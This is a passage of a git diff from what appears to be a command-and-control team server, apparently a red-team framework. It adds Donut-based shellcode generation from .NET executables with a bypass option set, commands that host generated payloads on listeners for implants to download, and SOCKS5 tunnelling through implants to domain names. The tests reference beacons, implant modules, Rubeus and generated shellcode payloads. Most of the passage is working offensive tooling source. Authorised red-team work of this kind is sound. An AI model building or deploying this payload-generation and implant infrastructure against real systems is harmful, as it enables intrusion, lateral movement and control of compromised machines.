a/teamServer/teamServer/TeamServerShellcodeService.cpp b/teamServer/teamServer/TeamServerShellcodeService.cpp new file mode 100644 index 0000000..bbaac4d --- /dev/null +++ b/teamServer/teamServer/TeamServerShellcodeService.cpp @@ -0,0 +1,206 @@ +#include "TeamServerShellcodeService.hpp" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +namespace fs = std::filesystem; + +namespace +{ +std::string toLower(std::string value) +{ + std::transform(value.begin(), value.end(), value.begin(), [](unsigned char c) + { + return static_cast(std::tolower(c)); + }); + return value; +} + +std::string bytesToHex(const unsigned char* bytes, unsigned int length) +{ + std::ostringstream output; + output << std::hex << std::setfill('0'); + for (unsigned int index = 0; index < length; ++index) + output << std::setw(2) << static_cast(bytes[index]); + return output.str(); +} + +std::string sha256String(const std::string& value) +{ + std::array digest = {}; + unsigned int digestLength = 0; + + EVP_MD_CTX* context = EVP_MD_CTX_new(); + if (!context) + return ""; + + const bool ok = EVP_DigestInit_ex(context, EVP_sha256(), nullptr) == 1 + && EVP_DigestUpdate(context, value.data(), value.size()) == 1 + && EVP_DigestFinal_ex(context, digest.data(), &digestLength) == 1; + EVP_MD_CTX_free(context); + + if (!ok) + return ""; + return bytesToHex(digest.data(), digestLength); +} + +bool copyBounded(char* destination, std::size_t destinationSize, const std::string& value) +{ + if (destinationSize == 0 || value.size() >= destinationSize) + return false; + std::memcpy(destination, value.c_str(), value.size()); + destination[value.size()] = '\0'; + return true; +} + +int donutArch(const std::string& arch) +{ + const std::string lowered = toLower(arch); + if (lowered == "x64" || lowered == "amd64" || lowered == "x86_64") + return DONUT_ARCH_X64; + if (lowered == "x86" || lowered == "i386" || lowered == "i686") + return DONUT_ARCH_X86; + if (lowered == "arm64" || lowered == "aarch64") + return DONUT_ARCH_ARM64; + return 0; +} + +fs::path donutOutputPath() +{ + const auto now = std::chrono::steady_clock::now().time_since_epoch().count(); + return fs::temp_directory_path() / ("c2-donut-" + std::to_string(::getpid()) + "-" + std::to_string(now) + ".bin"); +} +} // namespace + +TeamServerShellcodeService::TeamServerShellcodeService(std::shared_ptr logger) + : m_logger(std::move(logger)) +{ +} + +TeamServerShellcodeResult TeamServerShellcodeService::generate(const TeamServerShellcodeRequest& request) const +{ + const std::string generator = toLower(request.generator.empty() ? "raw" : request.generator); + if (generator == "raw") + return generateRaw(request); + if (generator == "donut") + return generateDonut(request); + + TeamServerShellcodeResult result; + result.message = "Unsupported shellcode generator: " + request.generator; + return result; +} + +TeamServerShellcodeResult TeamServerShellcodeService::generateRaw(const TeamServerShellcodeRequest& request) const +{ + TeamServerShellcodeResult result; + result.generator = "raw"; + result.sourceType = "raw"; + + std::ifstream input(request.sourcePath, std::ios::binary); + if (!input.good()) + { + result.message = "Couldn't open shellcode file."; + return result; + } + + result.bytes.assign(std::istreambuf_iterator(input), std::istreambuf_iterator()); + if (result.bytes.empty()) + { + result.message = "Shellcode payload is empty."; + return result; + } + + result.sha256 = sha256String(result.bytes); + result.ok = !result.sha256.empty(); + if (!result.ok) + result.message = "Could not hash shellcode payload."; + return result; +} + +TeamServerShellcodeResult TeamServerShellcodeService::generateDonut(const TeamServerShellcodeRequest& request) const +{ + TeamServerShellcodeResult result; + result.generator = "donut"; + result.sourceType = request.sourceType.empty() ? "dotnet_exe" : request.sourceType; + + if (request.sourcePath.empty()) + { + result.message = "Donut source path is required."; + return result; + } + if (!fs::exists(request.sourcePath)) + { + result.message = "Couldn't open Donut source file."; + return result; + } + + const int arch = donutArch(request.arch); + if (arch == 0) + { + result.message = "Unsupported Donut architecture."; + return result; + } + + const fs::path outputPath = donutOutputPath(); + + DONUT_CONFIG config; + std::memset(&config, 0, sizeof(config)); + config.inst_type = DONUT_INSTANCE_EMBED; + config.arch = arch; + config.bypass = DONUT_BYPASS_CONTINUE; + config.format = DONUT_FORMAT_BINARY; + config.compress = DONUT_COMPRESS_NONE; + config.entropy = DONUT_ENTROPY_DEFAULT; + config.headers = DONUT_HEADERS_OVERWRITE; + config.exit_opt = toLower(request.exitPolicy) == "thread" ? DONUT_OPT_EXIT_THREAD : DONUT_OPT_EXIT_PROCESS; + config.thread = 0; + config.unicode = 0; + + if (!copyBounded(config.input, sizeof(config.input), request.sourcePath) + || !copyBounded(config.output, sizeof(config.output), outputPath.string()) + || !copyBounded(config.method, sizeof(config.method), request.method) + || !copyBounded(config.args, sizeof(config.args), request.arguments)) + { + result.message = "Donut input, output, method or arguments are too long."; + return result; + } + + const int err = DonutCreate(&config); + if (err != DONUT_ERROR_OK) + { + result.message = "Donut error: "; + result.message += DonutError(err); + return result; + } + + std::ifstream output(outputPath, std::ios::binary); + result.bytes.assign(std::istreambuf_iterator(output), std::istreambuf_iterator()); + DonutDelete(&config); + + std::error_code ec; + fs::remove(outputPath, ec); + + if (result.bytes.empty()) + { + result.message = "Donut generated an empty shellcode payload."; + return result; + } + + result.sha256 = sha256String(result.bytes); + result.ok = !result.sha256.empty(); + if (!result.ok) + result.message = "Could not hash Donut shellcode payload."; + return result; +} diff --git a/teamServer/teamServer/TeamServerShellcodeService.hpp b/teamServer/teamServer/TeamServerShellcodeService.hpp new file mode 100644 index 0000000..0a74447 --- /dev/null +++ b/teamServer/teamServer/TeamServerShellcodeService.hpp @@ -0,0 +1,42 @@ +#pragma once + +#include +#include + +#include "spdlog/logger.h" + +struct TeamServerShellcodeRequest +{ + std::string generator = "raw"; + std::string sourcePath; + std::string sourceType = "raw"; + std::string arch = "x64"; + std::string method; + std::string arguments; + std::string exitPolicy = "process"; +}; + +struct TeamServerShellcodeResult +{ + bool ok = false; + std::string message; + std::string bytes; + std::string sha256; + std::string generator; + std::string sourceType; +}; + +class TeamServerShellcodeService +{ +public: + explicit TeamServerShellcodeService(std::shared_ptr logger); + virtual ~TeamServerShellcodeService() = default; + + virtual TeamServerShellcodeResult generate(const TeamServerShellcodeRequest& request) const; + +private: + TeamServerShellcodeResult generateRaw(const TeamServerShellcodeRequest& request) const; + TeamServerShellcodeResult generateDonut(const TeamServerShellcodeRequest& request) const; + + std::shared_ptr m_logger; +}; diff --git a/teamServer/teamServer/TeamServerSocksService.cpp b/teamServer/teamServer/TeamServerSocksService.cpp index 785c7d3..6137be4 100644 --- a/teamServer/teamServer/TeamServerSocksService.cpp +++ b/teamServer/teamServer/TeamServerSocksService.cpp @@ -88,6 +88,25 @@ void setTerminalError(teamserverapi::TerminalCommandResponse* response, const st response->set_result(result); response->set_message(result); } + +bool isSocksInitFailure(const std::string& data) +{ + return data == "fail" || data.rfind("fail:", 0) == 0; +} + +std::string tunnelDestinationPayload(SocksTunnelServer* tunnel) +{ + if (tunnel->getAddressType() == AddressType::DName) + return "host:" + tunnel->getDestinationHost(); + return std::to_string(tunnel->getIpDst()); +} + +std::string tunnelDestinationLabel(SocksTunnelServer* tunnel) +{ + if (tunnel->getAddressType() == AddressType::DName) + return tunnel->getDestinationHost(); + return std::to_string(tunnel->getIpDst()); +} } // namespace TeamServerSocksService::TeamServerSocksService( @@ -265,15 +284,14 @@ void TeamServerSocksService::run() SocksState state = tunnel->getState(); if (state == SocksState::INIT) { - int ip = tunnel->getIpDst(); int port = tunnel->getPort(); - m_logger->debug("Socks5 to {}:{}", std::to_string(ip), std::to_string(port)); + m_logger->debug("Socks5 to {}:{}", tunnelDestinationLabel(tunnel), std::to_string(port)); C2Message c2MessageToSend; c2MessageToSend.set_instruction(Socks5Cmd); c2MessageToSend.set_cmd(InitCmd); - c2MessageToSend.set_data(std::to_string(ip)); + c2MessageToSend.set_data(tunnelDestinationPayload(tunnel)); c2MessageToSend.set_args(std::to_string(port)); c2MessageToSend.set_pid(id); @@ -290,9 +308,10 @@ void TeamServerSocksService::run() { m_logger->debug("Socks5 handshake received {}", id); - if (c2Message.data() == "fail") + if (isSocksInitFailure(c2Message.data())) { m_logger->debug("Socks5 handshake failed {}", id); + tunnel->failHandshake(Response::HostUnreachable); m_socksServer->resetTunnel(i); } else diff --git a/teamServer/teamServer/TeamServerTermLocalService.cpp b/teamServer/teamServer/TeamServerTermLocalService.cpp index 690e16a..49a9a81 100644 --- a/teamServer/teamServer/TeamServerTermLocalService.cpp +++ b/teamServer/teamServer/TeamServerTermLocalService.cpp @@ -1,13 +1,20 @@ #include "TeamServerTermLocalService.hpp" +#include +#include +#include #include +#include +#include "TeamServerArtifactCatalog.hpp" #include "TeamServerModuleLoader.hpp" #include "listener/ListenerHttp.hpp" using json = nlohmann::json; +namespace fs = std::filesystem; namespace { +const std::string HostArtifactInstruction = "hostArtifact"; const std::string PutIntoUploadDirInstruction = "putIntoUploadDir"; const std::string ReloadModulesInstruction = "reloadModules"; const std::string BatcaveInstruction = "batcaveUpload"; @@ -27,6 +34,38 @@ void setTerminalError(teamserverapi::TerminalCommandResponse* response, const st response->set_result(result); response->set_message(result); } + +std::string basename(std::string value) +{ + const auto slash = value.find_last_of("/\\"); + if (slash != std::string::npos) + value = value.substr(slash + 1); + return value; +} + +std::string sanitizeHostedFilename(std::string value) +{ + value = basename(std::move(value)); + for (char& ch : value) + { + const unsigned char c = static_cast(ch); + if (!std::isalnum(c) && ch != '.' && ch != '-' && ch != '_') + ch = '_'; + } + return value.empty() ? "artifact.bin" : value; +} + +bool samePath(const fs::path& left, const fs::path& right) +{ + std::error_code ec; + const fs::path canonicalLeft = fs::weakly_canonical(left, ec); + if (ec) + return false; + const fs::path canonicalRight = fs::weakly_canonical(right, ec); + if (ec) + return false; + return canonicalLeft == canonicalRight; +} } // namespace TeamServerTermLocalService::TeamServerTermLocalService( @@ -49,7 +88,8 @@ TeamServerTermLocalService::TeamServerTermLocalService( bool TeamServerTermLocalService::canHandle(const std::string& instruction) const { - return instruction == PutIntoUploadDirInstruction + return instruction == HostArtifactInstruction + || instruction == PutIntoUploadDirInstruction || instruction == BatcaveInstruction || instruction == AddCredentialInstruction || instruction == GetCredentialInstruction @@ -68,6 +108,8 @@ grpc::Status TeamServerTermLocalService::handleCommand( response->set_data(""); response->clear_message(); + if (instruction == HostArtifactInstruction) + return handleHostArtifact(splitedCmd, response); if (instruction == PutIntoUploadDirInstruction) return handlePutIntoUploadDir(splitedCmd, command, response); if (instruction == BatcaveInstruction) @@ -132,6 +174,118 @@ std::string TeamServerTermLocalService::resolveDownloadFolderForListener(const s return downloadFolder; } +grpc::Status TeamServerTermLocalService::handleHostArtifact( + const std::vector& splitedCmd, + teamserverapi::TerminalCommandResponse* response) +{ + m_logger->debug("hostArtifact"); + + if (splitedCmd.size() != 3 && splitedCmd.size() != 4) + { + setTerminalError(response, "Error: hostArtifact takes a listener hash, an artifact reference, and an optional filename."); + return grpc::Status::OK; + } + + const std::string& listenerHash = splitedCmd[1]; + const std::string& artifactReference = splitedCmd[2]; + const std::string downloadFolder = resolveDownloadFolderForListener(listenerHash); + if (downloadFolder.empty()) + { + setTerminalError(response, "Error: Listener don't have a download folder."); + m_logger->warn("Listener {0} has no download folder configured; unable to host artifact {1}", listenerHash, artifactReference); + return grpc::Status::OK; + } + + TeamServerArtifactCatalog catalog(m_runtimeConfig); + std::vector matches; + for (const TeamServerArtifactRecord& candidate : catalog.listArtifacts()) + { + if (candidate.artifactId == artifactReference + || candidate.name == artifactReference + || candidate.displayName == artifactReference) + { + matches.push_back(candidate); + } + } + + if (matches.empty() && artifactReference.size() >= 8) + { + for (const TeamServerArtifactRecord& candidate : catalog.listArtifacts()) + { + if (candidate.artifactId.rfind(artifactReference, 0) == 0) + matches.push_back(candidate); + } + } + + if (matches.empty()) + { + setTerminalError(response, "Error: artifact not found."); + return grpc::Status::OK; + } + if (matches.size() > 1) + { + setTerminalError(response, "Error: artifact reference is ambiguous."); + return grpc::Status::OK; + } + + TeamServerArtifactRecord artifact; + std::string bytes; + std::string message; + if (!catalog.readArtifactPayload(matches.front().artifactId, artifact, bytes, message)) + { + setTerminalError(response, "Error: " + message); + return grpc::Status::OK; + } + + std::string filename; + if (splitedCmd.size() == 4) + { + filename = splitedCmd[3]; + if (!isValidFilename(filename)) + { + setTerminalError(response, "Error: filename not allowed."); + return grpc::Status::OK; + } + } + else + { + filename = sanitizeHostedFilename(!artifact.displayName.empty() ? artifact.displayName : artifact.name); + } + + const fs::path destinationPath = fs::path(downloadFolder) / filename; + std::error_code ec; + fs::create_directories(destinationPath.parent_path(), ec); + if (ec) + { + setTerminalError(response, "Error: Cannot create hosted artifact directory."); + m_logger->warn("Failed to create hosted artifact directory for {0}: {1}", filename, ec.message()); + return grpc::Status::OK; + } + + if (!samePath(artifact.internalPath, destinationPath)) + { + std::ofstream outputFile(destinationPath, std::ios::out | std::ios::binary | std::ios::trunc); + if (!outputFile.good()) + { + setTerminalError(response, "Error: Cannot write file."); + m_logger->warn("Failed to host artifact {0} at {1}", artifact.artifactId, destinationPath.string()); + return grpc::Status::OK; + } + outputFile.write(bytes.data(), static_cast(bytes.size())); + outputFile.close(); + if (!outputFile.good()) + { + setTerminalError(response, "Error: Cannot write file."); + m_logger->warn("Failed to finish hosting artifact {0} at {1}", artifact.artifactId, destinationPath.string()); + return grpc::Status::OK; + } + } + + setTerminalOk(response, filename); + m_logger->info("Hosted artifact {0} as {1} for listener {2}", artifact.artifactId, destinationPath.string(), listenerHash); + return grpc::Status::OK; +} + grpc::Status TeamServerTermLocalService::handlePutIntoUploadDir( const std::vector& splitedCmd, const teamserverapi::TerminalCommandRequest& command, @@ -198,19 +352,27 @@ grpc::Status TeamServerTermLocalService::handleBatcaveUpload( return grpc::Status::OK; } - const std::string filePath = m_runtimeConfig.toolsDirectoryPath + "/" + filename; + const fs::path filePath = fs::path(m_runtimeConfig.toolsDirectoryPath) / "Any" / "any" / filename; + std::error_code ec; + fs::create_directories(filePath.parent_path(), ec); + if (ec) + { + setTerminalError(response, "Error: Cannot create tools directory."); + m_logger->warn("Failed to create tools directory for uploaded tool '{0}' at {1}", filename, filePath.parent_path().string()); + return grpc::Status::OK; + } std::ofstream outputFile(filePath, std::ios::out | std::ios::binary); if (outputFile.good()) { outputFile << command.data(); outputFile.close(); setTerminalOk(response, "ok"); - m_logger->info("Saved uploaded tool '{0}' to {1}", filename, filePath); + m_logger->info("Saved uploaded tool '{0}' to {1}", filename, filePath.string()); return grpc::Status::OK; } setTerminalError(response, "Error: Cannot write file."); - m_logger->warn("Failed to store uploaded tool '{0}' at {1}", filename, filePath); + m_logger->warn("Failed to store uploaded tool '{0}' at {1}", filename, filePath.string()); return grpc::Status::OK; } diff --git a/teamServer/teamServer/TeamServerTermLocalService.hpp b/teamServer/teamServer/TeamServerTermLocalService.hpp index 5cc7dba..f5c0e1e 100644 --- a/teamServer/teamServer/TeamServerTermLocalService.hpp +++ b/teamServer/teamServer/TeamServerTermLocalService.hpp @@ -39,6 +39,9 @@ class TeamServerTermLocalService std::vector> loadModulesFromDisk() const; bool isValidFilename(const std::string& filename) const; std::string resolveDownloadFolderForListener(const std::string& listenerHash) const; + grpc::Status handleHostArtifact( + const std::vector& splitedCmd, + teamserverapi::TerminalCommandResponse* response); grpc::Status handlePutIntoUploadDir( const std::vector& splitedCmd, const teamserverapi::TerminalCommandRequest& command, diff --git a/teamServer/tests/TeamServerArtifactCatalogTests.cpp b/teamServer/tests/TeamServerArtifactCatalogTests.cpp new file mode 100644 index 0000000..04832b4 --- /dev/null +++ b/teamServer/tests/TeamServerArtifactCatalogTests.cpp @@ -0,0 +1,503 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#include "TeamServerArtifactCatalog.hpp" +#include "TeamServerArtifactService.hpp" +#include "TeamServerGeneratedArtifactStore.hpp" +#include "spdlog/logger.h" + +namespace fs = std::filesystem; + +namespace +{ +class ScopedPath +{ +public: + explicit ScopedPath(fs::path path) + : m_path(std::move(path)) + { + std::error_code ec; + fs::remove_all(m_path, ec); + fs::create_directories(m_path); + } + + ~ScopedPath() + { + std::error_code ec; + fs::remove_all(m_path, ec); + } + + const fs::path& path() const + { + return m_path; + } + +private: + fs::path m_path; +}; + +fs::path makeTempDirectory(const std::string& name) +{ + return fs::temp_directory_path() / ("c2teamserver-artifact-catalog-" + name + "-" + std::to_string(::getpid())); +} + +std::shared_ptr makeLogger() +{ + auto logger = std::make_shared("artifact-catalog-tests"); + logger->set_level(spdlog::level::off); + return logger; +} + +TeamServerRuntimeConfig makeRuntimeConfig(const fs::path& root) +{ + TeamServerRuntimeConfig runtimeConfig; + runtimeConfig.teamServerModulesDirectoryPath = (root / "TeamServerModules").string(); + runtimeConfig.linuxModulesDirectoryPath = (root / "LinuxModules").string(); + runtimeConfig.windowsModulesDirectoryPath = (root / "WindowsModules").string(); + runtimeConfig.linuxBeaconsDirectoryPath = (root / "LinuxBeacons").string(); + runtimeConfig.windowsBeaconsDirectoryPath = (root / "WindowsBeacons").string(); + runtimeConfig.toolsDirectoryPath = (root / "Tools").string(); + runtimeConfig.scriptsDirectoryPath = (root / "Scripts").string(); + runtimeConfig.uploadedArtifactsDirectoryPath = (root / "UploadedArtifacts").string(); + runtimeConfig.generatedArtifactsDirectoryPath = (root / "GeneratedArtifacts").string(); + runtimeConfig.hostedArtifactsDirectoryPath = (root / "GeneratedArtifacts" / "hosted").string(); + + fs::create_directories(runtimeConfig.teamServerModulesDirectoryPath); + fs::create_directories(runtimeConfig.linuxModulesDirectoryPath); + fs::create_directories(runtimeConfig.windowsModulesDirectoryPath); + fs::create_directories(runtimeConfig.linuxBeaconsDirectoryPath); + fs::create_directories(runtimeConfig.windowsBeaconsDirectoryPath); + fs::create_directories(runtimeConfig.toolsDirectoryPath); + fs::create_directories(runtimeConfig.scriptsDirectoryPath); + fs::create_directories(runtimeConfig.uploadedArtifactsDirectoryPath); + fs::create_directories(runtimeConfig.generatedArtifactsDirectoryPath); + fs::create_directories(runtimeConfig.hostedArtifactsDirectoryPath); + for (const std::string& arch : runtimeConfig.supportedLinuxArchs) + { + fs::create_directories(fs::path(runtimeConfig.linuxModulesDirectoryPath) / arch); + fs::create_directories(fs::path(runtimeConfig.linuxBeaconsDirectoryPath) / arch); + fs::create_directories(fs::path(runtimeConfig.toolsDirectoryPath) / "Linux" / arch); + fs::create_directories(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Linux" / arch); + } + for (const std::string& arch : runtimeConfig.supportedWindowsArchs) + { + fs::create_directories(fs::path(runtimeConfig.windowsModulesDirectoryPath) / arch); + fs::create_directories(fs::path(runtimeConfig.windowsBeaconsDirectoryPath) / arch); + fs::create_directories(fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / arch); + fs::create_directories(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Windows" / arch); + } + fs::create_directories(fs::path(runtimeConfig.scriptsDirectoryPath) / "Windows"); + fs::create_directories(fs::path(runtimeConfig.scriptsDirectoryPath) / "Linux"); + fs::create_directories(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Any" / "any"); + + return runtimeConfig; +} + +void writeFile(const fs::path& path, const std::string& content) +{ + fs::create_directories(path.parent_path()); + std::ofstream output(path, std::ios::binary); + output << content; +} + +void seedArtifacts(const TeamServerRuntimeConfig& runtimeConfig) +{ + writeFile(fs::path(runtimeConfig.teamServerModulesDirectoryPath) / "libServerModule.so", "teamserver-module"); + writeFile(fs::path(runtimeConfig.linuxModulesDirectoryPath) / "x64" / "linuxmod.so", "linux-module"); + writeFile(fs::path(runtimeConfig.windowsModulesDirectoryPath) / "x64" / "winmod64.dll", "windows-module-x64"); + writeFile(fs::path(runtimeConfig.windowsModulesDirectoryPath) / "x86" / "winmod86.dll", "windows-module-x86"); + writeFile(fs::path(runtimeConfig.linuxBeaconsDirectoryPath) / "x64" / "BeaconHttp", "linux-beacon"); + writeFile(fs::path(runtimeConfig.windowsBeaconsDirectoryPath) / "x64" / "BeaconHttp.exe", "windows-beacon-x64"); + writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / "x64" / "batcave.zip", "tool-archive"); + writeFile(fs::path(runtimeConfig.scriptsDirectoryPath) / "Windows" / "startup.ps1", "script"); + writeFile(fs::path(runtimeConfig.scriptsDirectoryPath) / "Linux" / "startup.py", "script"); + writeFile(fs::path(runtimeConfig.scriptsDirectoryPath) / "Windows" / ".ignored.ps1", "hidden-script"); + writeFile(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Any" / "any" / "operator-note.txt", "upload"); + writeFile(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Linux" / "x64" / "testScript.sh", "script upload"); + writeFile(fs::path(runtimeConfig.hostedArtifactsDirectoryPath) / "payload.bin", "hosted-file"); +} + +const TeamServerArtifactRecord* findArtifact( + const std::vector& artifacts, + const std::string& name, + const std::string& category, + const std::string& platform, + const std::string& arch) +{ + for (const TeamServerArtifactRecord& artifact : artifacts) + { + if (artifact.name == name + && artifact.category == category + && artifact.platform == platform + && artifact.arch == arch) + { + return &artifact; + } + } + return nullptr; +} + +void testCatalogIndexesReleaseRoots() +{ + ScopedPath tempRoot(makeTempDirectory("indexes")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + seedArtifacts(runtimeConfig); + + TeamServerArtifactCatalog catalog(runtimeConfig); + const std::vector artifacts = catalog.listArtifacts(); + + assert(artifacts.size() == 12); + assert(findArtifact(artifacts, ".ignored.ps1", "script", "windows", "any") == nullptr); + + const TeamServerArtifactRecord* windowsModule = findArtifact(artifacts, "winmod64.dll", "module", "windows", "x64"); + assert(windowsModule != nullptr); + assert(windowsModule->scope == "beacon"); + assert(windowsModule->target == "beacon"); + assert(windowsModule->format == "dll"); + assert(windowsModule->runtime == "native"); + assert(windowsModule->source == "release"); + assert(windowsModule->size == 18); + assert(windowsModule->sha256.size() == 64); + assert(windowsModule->artifactId.size() == 64); + assert(windowsModule->internalPath.find(tempRoot.path().string()) != std::string::npos); + + const TeamServerArtifactRecord* linuxBeacon = findArtifact(artifacts, "BeaconHttp", "beacon", "linux", "x64"); + assert(linuxBeacon != nullptr); + assert(linuxBeacon->format == "binary"); + assert(linuxBeacon->scope == "implant"); + assert(linuxBeacon->target == "listener"); + + const TeamServerArtifactRecord* script = findArtifact(artifacts, "startup.ps1", "script", "windows", "any"); + assert(script != nullptr); + assert(script->scope == "server"); + assert(script->target == "beacon"); + assert(script->format == "ps1"); + assert(script->runtime == "powershell"); + + const TeamServerArtifactRecord* pythonScript = findArtifact(artifacts, "startup.py", "script", "linux", "any"); + assert(pythonScript != nullptr); + assert(pythonScript->format == "py"); + assert(pythonScript->runtime == "python"); + + const TeamServerArtifactRecord* upload = findArtifact(artifacts, "operator-note.txt", "upload", "any", "any"); + assert(upload != nullptr); + assert(upload->scope == "operator"); + assert(upload->target == "beacon"); + assert(upload->runtime == "file"); + + const TeamServerArtifactRecord* uploadScript = findArtifact(artifacts, "testScript.sh", "upload", "linux", "x64"); + assert(uploadScript != nullptr); + assert(uploadScript->format == "sh"); + assert(uploadScript->runtime == "shell"); + + const TeamServerArtifactRecord* hosted = findArtifact(artifacts, "payload.bin", "hosted", "any", "any"); + assert(hosted != nullptr); + assert(hosted->scope == "generated"); + assert(hosted->target == "listener"); + assert(hosted->runtime == "file"); + assert(hosted->source == "operator"); + assert(hosted->size == 11); +} + +void testCatalogFiltersArtifacts() +{ + ScopedPath tempRoot(makeTempDirectory("filters")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + seedArtifacts(runtimeConfig); + + TeamServerArtifactCatalog catalog(runtimeConfig); + + TeamServerArtifactQuery windowsX64Modules; + windowsX64Modules.category = "module"; + windowsX64Modules.platform = "windows"; + windowsX64Modules.arch = "x64"; + std::vector artifacts = catalog.listArtifacts(windowsX64Modules); + assert(artifacts.size() == 1); + assert(artifacts[0].name == "winmod64.dll"); + + TeamServerArtifactQuery toolQuery; + toolQuery.category = "tool"; + toolQuery.platform = "windows"; + toolQuery.arch = "x64"; + toolQuery.nameContains = "BATCAVE"; + artifacts = catalog.listArtifacts(toolQuery); + assert(artifacts.size() == 1); + assert(artifacts[0].name == "batcave.zip"); + + writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / "x64" / "Rubeus.exe", "dotnet-tool"); + writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / "x64" / "assemblyExec-Rubeus.exe.bin", "generated-shellcode"); + + TeamServerArtifactQuery exeToolQuery; + exeToolQuery.category = "tool"; + exeToolQuery.platform = "windows"; + exeToolQuery.arch = "x64"; + exeToolQuery.format = "exe"; + exeToolQuery.nameContains = ".exe"; + artifacts = catalog.listArtifacts(exeToolQuery); + assert(artifacts.size() == 1); + assert(artifacts[0].name == "Rubeus.exe"); + assert(artifacts[0].format == "exe"); + + TeamServerArtifactQuery linuxModules; + linuxModules.category = "module"; + linuxModules.platform = "linux"; + linuxModules.arch = "x64"; + artifacts = catalog.listArtifacts(linuxModules); + assert(artifacts.size() == 1); + assert(artifacts[0].name == "linuxmod.so"); + + TeamServerArtifactQuery hostedFiles; + hostedFiles.category = "hosted"; + hostedFiles.target = "listener"; + artifacts = catalog.listArtifacts(hostedFiles); + assert(artifacts.size() == 1); + assert(artifacts[0].name == "payload.bin"); + + TeamServerArtifactQuery pythonScripts; + pythonScripts.category = "script"; + pythonScripts.runtime = "python"; + artifacts = catalog.listArtifacts(pythonScripts); + assert(artifacts.size() == 1); + assert(artifacts[0].name == "startup.py"); + + TeamServerArtifactQuery uploadedShellScripts; + uploadedShellScripts.category = "upload"; + uploadedShellScripts.runtime = "shell"; + artifacts = catalog.listArtifacts(uploadedShellScripts); + assert(artifacts.size() == 1); + assert(artifacts[0].name == "testScript.sh"); +} + +void testCatalogIndexesAndDeletesGeneratedArtifacts() +{ + ScopedPath tempRoot(makeTempDirectory("generated")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + + TeamServerGeneratedArtifactStore store(runtimeConfig); + TeamServerGeneratedArtifactRequest request; + request.nameHint = "Rubeus.exe.bin"; + request.bytes = "generated-shellcode"; + request.category = "payload"; + request.scope = "generated"; + request.target = "beacon"; + request.platform = "windows"; + request.arch = "x64"; + request.format = "bin"; + request.runtime = "shellcode"; + request.source = "donut"; + request.description = "Generated shellcode for assemblyExec."; + const TeamServerGeneratedArtifactRecord record = store.store(request); + assert(!record.artifactId.empty()); + + TeamServerArtifactCatalog catalog(runtimeConfig); + TeamServerArtifactQuery query; + query.category = "payload"; + query.scope = "generated"; + query.runtime = "shellcode"; + std::vector artifacts = catalog.listArtifacts(query); + + assert(artifacts.size() == 1); + assert(artifacts[0].artifactId == record.artifactId); + assert(artifacts[0].displayName == "Rubeus.exe.bin"); + assert(artifacts[0].source == "donut"); + assert(artifacts[0].size == static_cast(request.bytes.size())); + assert(artifacts[0].sha256 == record.sha256); + + std::string message; + assert(catalog.deleteGeneratedArtifact(record.artifactId, message)); + assert(message == "Generated artifact deleted."); + assert(!fs::exists(record.path)); + assert(!fs::exists(record.path + ".artifact.json")); + + artifacts = catalog.listArtifacts(query); + assert(artifacts.empty()); + assert(!catalog.deleteGeneratedArtifact(record.artifactId, message)); + assert(message == "Artifact not found."); +} + +void testCatalogDeletesHostedArtifacts() +{ + ScopedPath tempRoot(makeTempDirectory("hosted-delete")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + writeFile(fs::path(runtimeConfig.hostedArtifactsDirectoryPath) / "payload.bin", "hosted-file"); + + TeamServerArtifactCatalog catalog(runtimeConfig); + TeamServerArtifactQuery query; + query.category = "hosted"; + query.scope = "generated"; + std::vector artifacts = catalog.listArtifacts(query); + assert(artifacts.size() == 1); + + const std::string artifactId = artifacts[0].artifactId; + std::string message; + assert(catalog.deleteGeneratedArtifact(artifactId, message)); + assert(message == "Hosted artifact deleted."); + assert(!fs::exists(fs::path(runtimeConfig.hostedArtifactsDirectoryPath) / "payload.bin")); + + artifacts = catalog.listArtifacts(query); + assert(artifacts.empty()); +} + +void testCatalogDeletesUploadedArtifacts() +{ + ScopedPath tempRoot(makeTempDirectory("upload-delete")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + seedArtifacts(runtimeConfig); + + TeamServerArtifactCatalog catalog(runtimeConfig); + TeamServerArtifactQuery query; + query.category = "upload"; + query.scope = "operator"; + query.nameContains = "operator-note"; + const std::vector artifacts = catalog.listArtifacts(query); + assert(artifacts.size() == 1); + + const std::string artifactId = artifacts[0].artifactId; + std::string message; + assert(catalog.deleteGeneratedArtifact(artifactId, message)); + assert(message == "Uploaded artifact deleted."); + assert(!fs::exists(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Any" / "any" / "operator-note.txt")); + + assert(catalog.listArtifacts(query).empty()); +} + +void testArtifactServiceStreamsPublicMetadataOnly() +{ + ScopedPath tempRoot(makeTempDirectory("service")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + seedArtifacts(runtimeConfig); + + TeamServerArtifactService service(makeLogger(), TeamServerArtifactCatalog(runtimeConfig)); + + teamserverapi::ArtifactQuery query; + query.set_category("script"); + query.set_runtime("powershell"); + std::vector summaries; + assert(service.listArtifacts(query, [&](const teamserverapi::ArtifactSummary& artifact) + { + summaries.push_back(artifact); + return true; + }).ok()); + + assert(summaries.size() == 1); + assert(summaries[0].name() == "startup.ps1"); + assert(summaries[0].category() == "script"); + assert(summaries[0].scope() == "server"); + assert(summaries[0].target() == "beacon"); + assert(summaries[0].runtime() == "powershell"); + assert(summaries[0].sha256().size() == 64); + assert(summaries[0].DebugString().find(tempRoot.path().string()) == std::string::npos); +} + +void testArtifactServiceDownloadsArtifactPayload() +{ + ScopedPath tempRoot(makeTempDirectory("service-download")); + TeamServerRuntimeConfig runtimeConfig = 